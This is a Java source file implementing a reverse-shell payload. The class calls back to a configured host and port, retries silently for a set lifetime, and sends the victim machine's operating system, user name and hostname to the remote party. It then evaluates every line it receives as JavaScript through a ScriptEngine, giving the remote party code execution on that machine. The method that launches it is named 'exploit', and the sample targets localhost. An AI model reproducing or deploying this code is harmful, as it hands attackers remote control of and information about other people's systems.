package org.example;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.time.Duration;
import java.time.LocalDateTime;

public class App extends Thread {
    private ScriptEngine scriptEngine;

    private String host;
    private Integer port;
    private Double life;

    private String execCode(String code) {
        if (code.trim().equals("")) {
            return "";
        }
        try {
            Object result = scriptEngine.eval(code);
            if (result != null) {
                return result + "\n";
            } else {
                return "";
            }
        } catch (Exception e) {
            return e + "\n";
        }
    }

    private String getInfo() {
        String info = "  os: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " " + System.getProperty("os.version");
        info += "\n";
        info += "user: " + System.getProperty("user.name");
        info += "\n";
        try {
            info += "host: " + InetAddress.getLocalHost().getHostName();
        } catch (Exception e) {
            info += "host: " + e;
        }
        return info;
    }

    @Override
    public void run() {
        boolean exit = false;
        LocalDateTime time = LocalDateTime.now();
        while (Duration.between(time, LocalDateTime.now()).toMillis() / (60.0 * 1000.0) < life && !exit) {
            try {
                Socket socket = new Socket(host, port);
                PrintWriter out = new PrintWriter(socket.getOutputStream());
                BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));

                scriptEngine = new ScriptEngineManager().getEngineByName("js");

                out.print(getInfo() + "\n\n>>> ");
                out.flush();
                String input;
                while ((input = in.readLine()) != null) {
                    time = LocalDateTime.now();

                    if (input.trim().equals("exit") || input.trim().equals("exit()")) {
                        exit = true;
                        socket.close();
                        break;
                    }
                    out.print(execCode(input) + ">>> ");
                    out.flush();
                }
            } catch (Exception e) {
                ;
            }

            if (!exit) {
                try {
                    Thread.sleep(5 * 1000);
                } catch (InterruptedException e) {
                    ;
                }
            }
        }
    }

    public App(String host, Integer port, Double life) {
        this.host = host;
        this.port = port;
        this.life = life;
    }

    public static void exploit(String host, Integer port, Double life) {
        new App(host,  port,  life).start();
    }

    public static void main(String[] args) {
        exploit("127.0.0.1", 8080, 0.3);
    }
}